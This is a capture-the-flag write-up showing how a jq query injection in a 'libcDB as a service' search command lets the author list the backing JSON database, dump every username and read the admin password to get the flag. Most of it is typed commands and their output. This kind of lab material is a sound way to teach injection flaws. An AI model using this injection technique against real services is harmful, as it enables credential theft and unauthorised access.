Tags: databases 

Rating:

When we netcat in, we get prompted for login and password. After entering the account given to us, we are prompted for a command

Authenticated {"users":{"username":"Dead","password":"pool"}}

 __    _ _       ____  _____
|  |  |_| |_ ___|    \| __  |
|  |__| | . |  _|  |  | __ -|
|_____|_|___|___|____/|_____|
                         as a service


Type .help for help

If we run .help, we are given a few commands

> .help
.help                   Print this help
.version                Print versions
.search                 Search libcdb
.secret                 Print flag

Running .secret complains that we are not admin

> .secret
not admin
no flag for u

Running .search without any parameters gives us the syntax and an example query:

> .search
.search <*symbol> <*addr> <filter>
Ex: .search fprintf 0x4b970

* required field

If we run the example query we get

Found:
        id              6acfaae0398dce58e1857599a274f6d8
        name            ubuntu_libc6-dbg_2.4-1ubuntu12.3_amd64
        symbol          fprintf
        address         0x4b970
Found:
        id              fc1e12693e5762252bc44256d5a72506
        name            ubuntu_libc6-dbg_2.4-1ubuntu12_amd64
        symbol          fprintf
        address         0x4b970

If we play around a bit and try to add some random filter arguments to the given example, we end up getting a syntax error:

> .search fprintf 0x4b980 *
jq: error: syntax error, unexpected $end (Unix shell quoting issues?) at <top-level>, line 1:
. as $maindb | .libcDB[] | select(.symbol=="fprintf") | select(.address|contains("309632")) | .*                        
jq: 1 compile error

We now know that the search command searches a json database with jq.

Now, we can enumerate some of the keys of $maindb to look for what else may be in the json file. To do this, we can set a filter argument like |$maindb|.+{id:keys[0]}.

The final jq query executed would look like . as $maindb | .libcDB[] | select(.symbol=="fprintf") | select(.address|contains("309632")) |.|$maindb|.+{id:keys[0]}.

After testing keys[1], we see that $maindb has a users key:

> .search fprintf 0x4b970 |$maindb|.+{id:keys[1]}
Found:
        id              users
Found:
        id              users

We can use the same exploit to enumerate the keys in $maindb['user'][0]:

> .search fprintf 0x4b970 |$maindb|.["users"][0]|.+{id:keys[0]}
Found:
        id              password
Found:
        id              password
> .search fprintf 0x4b970 |$maindb|.["users"][0]|.+{id:keys[1]}
Found:
        id              username
Found:
        id              username

From here, we can just enumerate all of the usernames:

> .search fprintf 0x4b970 |$maindb|.["users"][0]|.+{id:.["username"]}
Found:
        id              3k
Found:
        id              3k
> .search fprintf 0x4b970 |$maindb|.["users"][1]|.+{id:.["username"]}
Found:
        id              James
Found:
        id              James
> .search fprintf 0x4b970 |$maindb|.["users"][2]|.+{id:.["username"]}
Found:
        id              Lars
Found:
        id              Lars
> .search fprintf 0x4b970 |$maindb|.["users"][3]|.+{id:.["username"]}
Found:
        id              Dead
Found:
        id              Dead
> .search fprintf 0x4b970 |$maindb|.["users"][4]|.+{id:.["username"]}
Found:
        id              admin
Found:
        id              admin

Then, the admin password:

> .search fprintf 0x4b970 |$maindb|.["users"][4]|.+{id:.["password"]}
Found:
        id              v3ryL0ngPwC4nTgu3SS0xfff
Found:
        id              v3ryL0ngPwC4nTgu3SS0xfff

We can then login with the admin credentials and run .secret.